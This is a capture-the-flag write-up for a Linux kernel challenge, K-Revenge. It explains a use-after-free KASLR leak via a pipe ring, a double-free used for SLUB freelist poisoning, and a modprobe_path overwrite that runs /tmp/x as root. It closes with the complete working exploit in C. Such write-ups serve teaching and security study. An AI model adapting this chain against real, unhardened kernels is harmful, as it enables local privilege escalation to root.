K-Revenge is a small kernel challenge from TCP1P CTF 2024 ctf. The driver gives us
a use-after-free read and a double-free through the same global pointer. That
is enough to leak KASLR with a pipe, poison kmalloc-128, and make an
allocation land on modprobe_path.
The chain is fairly short:
- Free a
0x400driver allocation and reclaim it with a pipe ring. - Read
pipe_buffer.opsthrough the stale pointer to get the kernel base. - Double-free a
0x80allocation and turn it into a freelist cycle. - Replace the freelist's next pointer with
modprobe_path. - Allocate on top of
modprobe_pathand change it to/tmp/x. - Execute a junk file so the kernel runs
/tmp/xas root.
1. Reversing the driver
The useful symbols in k.ko are device_ioctl and the global .bss pointer
called heap. The ioctl interface is tiny:
#define ALLOC 0x1111
#define READ 0x2222
#define FREE 0x3333
struct request {
uint64_t size;
void *buffer;
};
The handler boils down to this decompiled code:

There are a few interesting things packed into this small handler:
- UAF read:
FREEleavesheappointing at freed memory andREADcopies from it. - Double-free: a second
FREEpasses the same pointer tokfree()again. - Global state: every file descriptor and process shares
heap; reopening/dev/Kdoes not reset anything.
When opening /dev/K once and we can reuse that descriptor for the whole exploit. The file
descriptor only gets us into device_ioctl; it does not own heap or create a
separate driver object.
The whole exploit looks like this:
prepare helper
|
v
free kmalloc-1k object --reclaim with pipe--> leak kernel .data pointer
| |
| v
| calculate KASLR base
v
double-free kmalloc-128 object
|
v
poison freelist with modprobe_path
|
v
kmalloc returns modprobe_path --> overwrite with /tmp/x
|
v
execute invalid file --> kernel runs /tmp/x as root
2. A little setup first
The exploit starts with:
setup();
pin_to_cpu0();
setup() creates two files:
/tmp/x, the script that should run as root;/tmp/execthis, a four-byte invalid executable used to request a binary format module.
SLUB has per-CPU freelists, so I pin the process to CPU 0. The VM currently has one vCPU anyway, but keeping the pin here avoids a very annoying source of random failures if that ever changes.
3. Leaking KASLR with a pipe
Free the driver object
char leak_buf[0x400] = {0};
int fd = open("/dev/K", O_RDWR);
do_alloc(fd, leak_buf, sizeof(leak_buf)); // kmalloc(0x400)
do_free(fd); // heap still points to it
A 0x400 request lands in kmalloc-1k. do_free() releases it, but the
driver keeps the address:
driver heap
|
v
+--------------------------+
| freed kmalloc-1k object A | <- available to the allocator
+--------------------------+
Now we can put a pipe there to leak a kernel address.
The exploit creates a pipe and writes to it:
int pipefd[2];
pipe(pipefd);
write(pipefd[1], "i", 1);
For this kernel, a new pipe has a default ring of 16 struct pipe_buffer
entries. On x86-64 each entry is 0x28 bytes:
16 * 0x28 = 0x280 = 640 bytes
kmalloc_size_roundup(640) = 0x400 bytes -> kmalloc-1k
So the pipe ring lands in the same cache as the freed driver allocation.
The transition is:
after do_free() after pipe()
driver heap driver heap (dangling)
| |
v v
+----------+ +-------------------+
| free A | -- kmalloc-1k --> | pipe_buffer[16] A|
+----------+ +-------------------+
^
|
pipe owns A
Keep the pipe file descriptors open until after the UAF read. Closing both ends can free the ring and invalidate the metadata being leaked.
Why the one-byte write matters
pipe() allocates the ring, but its entries begin empty. Writing at least one
byte initializes the first pipe_buffer:
struct pipe_buffer at reclaimed object + 0x00
+0x00 +-------------------------------+
| struct page *page | 8 bytes
+0x08 +-------------------------------+
| u32 offset | 4 bytes
+0x0c +-------------------------------+
| u32 len = 1 | 4 bytes
+0x10 +-------------------------------+
| pipe_buf_operations *ops | 8 bytes <-- leak
+0x18 +-------------------------------+
| u32 flags + padding | 8 bytes
+0x20 +-------------------------------+
| unsigned long private | 8 bytes
+0x28 +-------------------------------+
For a normal anonymous pipe, ops points to the kernel's static
anon_pipe_buf_ops object. The "i" itself is not magic and lives in a
separate page. I only need the write to make the kernel fill the first
pipe_buffer, including that useful ops pointer.
Reading pipe_buffer.ops through the UAF
do_read(fd, leak_buf, sizeof(leak_buf));
uint64_t ops = *(uint64_t *)&leak_buf[0x10];
uint64_t kbase = ops - 0x121ee40;

do_read still follows the driver's dangling heap pointer, which now refers
to the live pipe ring. Offset 0x10 is the first pipe buffer's ops pointer.
Now we can calculate the kbase i used the bata24/gef kmagic and kbase command to see kbase easily and to see the specific offsets
in a instant.
uint64_t kbase = *(uint64_t*)&leak_buf[0x10] - 0x121ee40;
printf("kbase : 0x%llx\n", kbase);
uint64_t modprobe_path = kbase + 0x01b3f100;
printf("modprobe_path : 0x%llx\n", modprobe_path);
4. Making a kmalloc-128 freelist cycle
The write stage starts in a different slab cache:
char buf[0x80];
do_alloc(fd, buf, sizeof(buf)); // object A from kmalloc-128
do_free(fd); // free A once
do_free(fd); // free A again
SLUB stores a next pointer inside each free object. In this Linux 6.10 layout,
the normal kmalloc cache places that pointer halfway through the object:
freelist pointer offset = ALIGN_DOWN(object_size / 2, sizeof(void *))
= ALIGN_DOWN(0x80 / 2, 8)
= 0x40
That is where the +0x40 comes from:
*(uint64_t *)&buf[0x40] = modprobe_path;
Do not assume that the freelist pointer is always at +0x40, or even inside
the user-visible object. It depends on kernel version, allocator, cache flags,
debugging options, constructors, KASAN, and hardening.
What the two frees do
Assume the old freelist begins with object B:
before free(A):
CPU freelist -> B -> C -> ...
after first free(A):
CPU freelist -> A -> B -> C -> ...
|
+-- *(A + 0x40) = B
after second free(A):
CPU freelist -> A --+
^ |
+---+
*(A + 0x40) = A
The second free sees A at the head and writes A into its own next field. We now
have a tiny freelist loop.

This exact pattern would hit the object == next check when
CONFIG_SLAB_FREELIST_HARDENED is active. Hardened SLUB also encodes next
pointers using a per-cache random value and the storage address. The fact that
this exploit accepts the immediate second free and a raw modprobe_path
pointer is strong evidence that freelist hardening is disabled in this build.
5. Poisoning the freelist
After creating the cycle, the exploit performs two allocations with
modprobe_path at buf + 0x40:
*(uint64_t *)&buf[0x40] = modprobe_path;
do_alloc(fd, buf, sizeof(buf));
do_alloc(fd, buf, sizeof(buf));
The order is the whole trick:
- The first allocation returns A. The cycle leaves A at the freelist head,
then the driver's copy writes
modprobe_pathintoA + 0x40. - The second allocation returns A again. SLUB reads the forged next pointer,
so the new freelist head becomes
modprobe_path. - The third allocation returns
modprobe_path. The driver's normalcopy_from_user()now writes our new helper path there.
Visually, it ends up like this:
initial cycle after allocation #1 copies buf
head -> A -> A head -> A -> modprobe_path
after allocation #2 allocation #3
head -> modprobe_path kmalloc(0x80) returns modprobe_path
|
v
copy_from_user(..., "/tmp/x", 0x80)
The third allocation is:
char new_path[0x80] = {0};
strcpy(new_path, "/tmp/x");
do_alloc(fd, new_path, sizeof(new_path));
Every ioctl uses the same /dev/K descriptor from the leak stage. There is no
reason to reopen it: the driver tracks the allocation in its global heap
pointer, not in the file descriptor.
6. Overwriting modprobe_path
modprobe_path normally contains /sbin/modprobe. When the kernel needs a
module, that is the userspace helper it runs. We change the string to /tmp/x
and let the kernel do the privileged part for us.
setup() creates an invalid executable:
FILE *f = fopen("/tmp/execthis", "wb");
char magic[] = {0xff, 0xff, 0xff, 0xff};
fwrite(magic, 1, sizeof(magic), f);
fclose(f);
chmod("/tmp/execthis", 0755);
Then it executes the file:
system("/tmp/execthis");
The kernel has no binary handler for magic 0xffff, so it asks for a module
named binfmt-ffff. That request goes through our overwritten
modprobe_path, and /tmp/x runs as root.
Seeing an error such as this afterward is expected:
/tmp/execthis: line 1: ....: not found
The helper request occurs during the failed execve; the invalid file still
cannot execute after the helper returns.
7. Full exploit
#define _GNU_SOURCE
#include <fcntl.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <unistd.h>
#define SAFE(result) \
({ \
typeof(result) _r = (result); \
if (_r < 0) printf("[-] %s:%d: returned %p\n", __FILE__, __LINE__, _r); \
_r; \
});
#define TARGET_SZ 128
void debug() {
printf("Debug\n");
getchar();
}
#define ALLOC 0x1111
#define READ 0x2222
#define FREE 0x3333
static void die(const char *message)
{
perror(message);
exit(EXIT_FAILURE);
}
static void pin_to_cpu0(void)
{
cpu_set_t cpus;
CPU_ZERO(&cpus);
CPU_SET(0, &cpus);
if (sched_setaffinity(0, sizeof(cpus), &cpus) == -1)
die("sched_setaffinity");
}
void examine(uint64_t* buffer, int n){
fprintf(stderr, "= hex =\n");
for (int i = 0; i < n; i++){
fprintf(stderr, "[%04x] 0x%016lx\n", i, buffer[i]);
}
}
struct request {
uint64_t size;
void *buffer;
};
static int do_alloc(int fd, const void *buffer, size_t size)
{
struct request req = { size, (void *)buffer };
if (size < 0x80) {
if (size > 0x400) {
perror("size mismatch");
}
}
return ioctl(fd, ALLOC, &req);
}
static int do_read(int fd, void *buffer, size_t size)
{
struct request req = { size, buffer };
if (size < 0x80) {
if (size > 0x400) {
perror("size mismatch");
}
}
return ioctl(fd, READ, &req);
}
static int do_free(int fd)
{
struct request req = {0};
return ioctl(fd, FREE, &req);
}
void dump_buffer(void *buf, int len) {
printf("\nDumping %d bytes.\n\n", len);
for (int i = 0; i < len; i += 0x10){
printf("Addr[%03d, 0x%03x]:\t%016lx: 0x", i / 0x08, i, (unsigned long)(buf + i));
for (int j = 7; j >= 0; j--) printf("%02x", *(unsigned char *)(buf + i + j));
printf(" - 0x");
for (int j = 7; j >= 0; j--) printf("%02x", *(unsigned char *)(buf + i + j + 8));
printf(" |");
for (size_t j = 0; j < 0x10 && i + j < len; j++) {
unsigned char c = *(unsigned char *)(buf +i + j);
putchar((c >= 0x20 && c <= 0x7e) ? c : '.');
}
printf("|\n");
}
}
void setup(){
FILE *f = fopen("/tmp/x", "w");
fprintf(f, "#!/bin/sh\n");
fprintf(f, "chmod 777 /root/flag\n"); // location of the flag
fprintf(f, "id > /tmp/proof\n");
fclose(f);
chmod("/tmp/x", 0755);
// Create /tmp/execthis with invalid binary magic
f = fopen("/tmp/execthis", "wb");
char magic[] = {0xff, 0xff, 0xff, 0xff};
fwrite(magic, 1, 4, f);
fclose(f);
chmod("/tmp/execthis", 0755);
}
int main(void) {
setup();
pin_to_cpu0();
char leak_buf[0x400] = {0};
// 1. UAF
int fd = SAFE(open("/dev/K", O_RDWR));
do_alloc(fd, leak_buf, sizeof(leak_buf));
do_free(fd);
// 2. Write a pipe to get a kernel leak
int pipefd[2];
pipe(pipefd);
write(pipefd[1], "i", 1);
do_read(fd, leak_buf, sizeof(leak_buf));
dump_buffer(&leak_buf, 0x40);
uint64_t kbase = *(uint64_t*)&leak_buf[0x10] - 0x121ee40;
printf("kbase : 0x%llx\n", kbase);
uint64_t modprobe_path = kbase + 0x01b3f100;
printf("modprobe_path : 0x%llx\n", modprobe_path);
// 3. double free
char buf[0x80];
do_alloc(fd, buf, sizeof(buf));
do_free(fd);
do_free(fd);
// 4. get new pointer and write modprobe path on 0x40 to do a freelist poisoning
*(uint64_t*)&buf[0x40] = modprobe_path;
do_alloc(fd, buf, sizeof(buf));
do_alloc(fd, buf, sizeof(buf));
// 5. write /tmp/x to modprobe_path
char new_path[0x80] = {0};
strcpy(new_path, "/tmp/x\x00");
do_alloc(fd, new_path, sizeof(new_path));
// 6. execute the overwritten modprobe_path to execute our lpe script
system("/tmp/execthis");
system("cat /root/flag");
return 0;
}
